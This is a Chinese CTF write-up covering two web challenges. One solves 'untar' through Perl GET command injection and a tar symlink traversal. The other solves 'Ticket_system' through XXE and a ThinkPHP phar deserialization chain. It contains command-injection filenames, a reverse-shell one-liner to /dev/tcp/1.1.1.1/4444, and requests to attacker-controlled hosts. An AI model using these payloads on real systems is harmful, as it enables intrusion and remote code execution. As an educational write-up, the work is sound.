前言
有史以来的垃圾比赛,非常垃圾的题目没有自己的见解,有史以来最py的比赛,其实现在的比赛就这样了,但是如果题目的难度大的话,py的人自然就少了。言简意赅,大家懂的。
大家自己体验一波,不过还是把学到的东西总结一下。
0x01 untar
题目给了源码:
1 | sandbox/2aeae26864f775d4cad75f15a6c95d97 |
于是去搜索了一波。
原题是HITCON 2017
,这段代码先通过XFF判断用户的ip,建立沙盒,并且通过GET
传入url
和filename
两个参数,通过filename
建立新的目录以及文件名,通过url进行shell_exec
的GET
命令执行,最终把执行结果放在新生成的目录下的文件名。
里面有几个关键的函数我们先来了解一下。
首先来研究一下pathinfo
函数以及basename
函数的机制。
下面是pathinfo
的测试代码:
1 |
|
结果如下:
1 | /var/www/html |
basename()
函数返回路径中的文件名部分,如下测试代码:
1 |
|
运行的结果如下:
1 | shell.php |
代码对于要建立的目录都会两边basename
,如下代码:
1 |
|
测试的地址参数:
1 | http://localhost/test/demo2.php?url=/&filename=/var/www/html/shell.php |
测试的结果如下:
1 | html |
如果filename
为/a或者a这样的形式,basename($info['basename']);
肯定为a的,此时的目录为当前目录,再次用basename
返回路径中的文件名肯定为空。如果a/xxx/
,$c
和$dir
返回的都是a,解释一下原因:第一次返回的basename
为a
其实相当于./a
,那么第二次再用basename
返回的文件名肯定也是a
。理解了之后题目就比较好做了。
escapeshellarg与escapeshellcmd函数
escapeshellarg
1. 确保用户只能传递一个参数给命令。
2. 用户不能指定更多的参数一个。
3. 用户不能执行不同的命令。
就好比是我传入的ls
,那么经过函数的操作后就变成了'ls'
。同时会对传入的单引号进行一些安全处理,例如传入l's
就会变成'l'\''s'
。
escapeshellcmd
1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令
他的作用是将一些危险的符号进行转义,如:
1 | &,|,;,\ ` |
对于orange师傅的原题是GET命令的漏洞
。
根本的原因在于perl
的GET
函数的底层是调用
open处理的,而在
perl`中,open是可以执行系统命令的。
例如下面的示例代码:
1 | root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# cat ./demo.pl |
从这段命令我们可以看出来perl中的open的作用。同时open是支持file协议的。
1 | The library supports GET and HEAD methods for file requests. The |
尝试一下file协议读取GEt 'file:/etc/passwd'
或者GET '/etc/passwd'
,都可以成功读取文件内容。下面可以执行系统命令。
1 | root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# ls |
通过以上命令成功执行,这里需要注意的是要有存在的文件名才能成功执行命令,所以新建了一个ls|
文件。
orange的原题我们可以建立执行的文件名,再通过file协议去执行就可以了。
首先先看一下目录。
通过Payload url=/&filename=xxx,访问沙盒里面的xxx文件。
发现flag
和readflag
,flag是空的,readflag是一个二进制文件,需要通过执行readflag来读取flag。
构造文件名bash -c /readflag
,通过如下payload
1 | url=/etc/passwd&filename=bash -c /readflag| |
访问沙盒下的a可以得到flag(这里的/etc/passwd的目的只是为了让我的GET命令请求快点)
第二种方法可以利用反弹shell
1 | url=http://your_vps/port&filename=a |
同样需要在你的vps上放一下一句话反弹bash。
但是上面的这题限制了只能是http
或者https
,并且过滤了|
。
因此上面的方式全部失效了。但是我们注意到了最后一句。
1 | shell_exec("UNTAR ".escapeshellarg(basename($info["basename"]))); |
搜索发现https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=900834。这是一个perl的目录穿梭漏洞。
这个是比较详细的介绍http://knqyf263.hatenablog.com/entry/2018/06/27/181037
上面会把文件解压到当前的文件夹中。
如下实验:
1 | root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# ln -s /tmp/moo moo |
因此可以这样构造:
1 | ln -s /var/www/html/sandbox/wen.php wen |
同时我们还可以使用这个来归档为同名文件
1 | tar zcvf b.tar.gz * --transform='s/{你的文件名}{软连接}' |
然后通过访问包含我们的b.tar
1 | http://183.129.189.62:17507/?url=http://123.57.232.69:8302/php_file/b.tar&filename=b.tar |
然后在沙盒中可以看到b.tar文件。
然后再通过包含sandbox的文件来rce。
1 | http://183.129.189.62:17507/?url=http://183.129.189.62:17507/sandbox/2aeae26864f775d4cad75f15a6c95d97/b.tar&filename=b.tar |
最后我们访问
1 | http://183.129.189.62:17507/sandbox/wen.php |
拿到flag如下:
1 | flag{3c3bf67443640154c155ce9b2eb5ce7a} |
0x02 Ticket_system[12end师傅]
题目描述:
1. 首先题目有个文件上传的点,然后有个可以提交xml的地方。那么我们就可以通过这两个点了展开我们的攻击。
2. 现在我们先尝试一下xxe:
可以看到成功的读取了本地文件。
我们通过读取源码发现是thinkPhp的空架版本是5.2.0
,通过搜索找到了Smile
的一个5.2.x
的版本的反序列化链,下面是payload:
1 |
|
我们配合phar://
反序列化进行rce。
1 | POST /postXML HTTP/1.1 |
将sleep 100
改成bash -c 'bash -i >/dev/tcp/1.1.1.1/4444 0>&1'
,然后在自己的服务器监听一下。就可以反弹shell了。
getshell后发现并不能读取flag文件由于对www-data有权限的设置,但是在根目录下有一个readflag的二进制文件,但是执行它会出现一个随机计算的式子,由于nc这样的shell不能交互,但是上面有php和perl的环境那么我们可以上传文件去执行建立交互。从从而获得flag。
1 |
|
自己写的:
1 |
|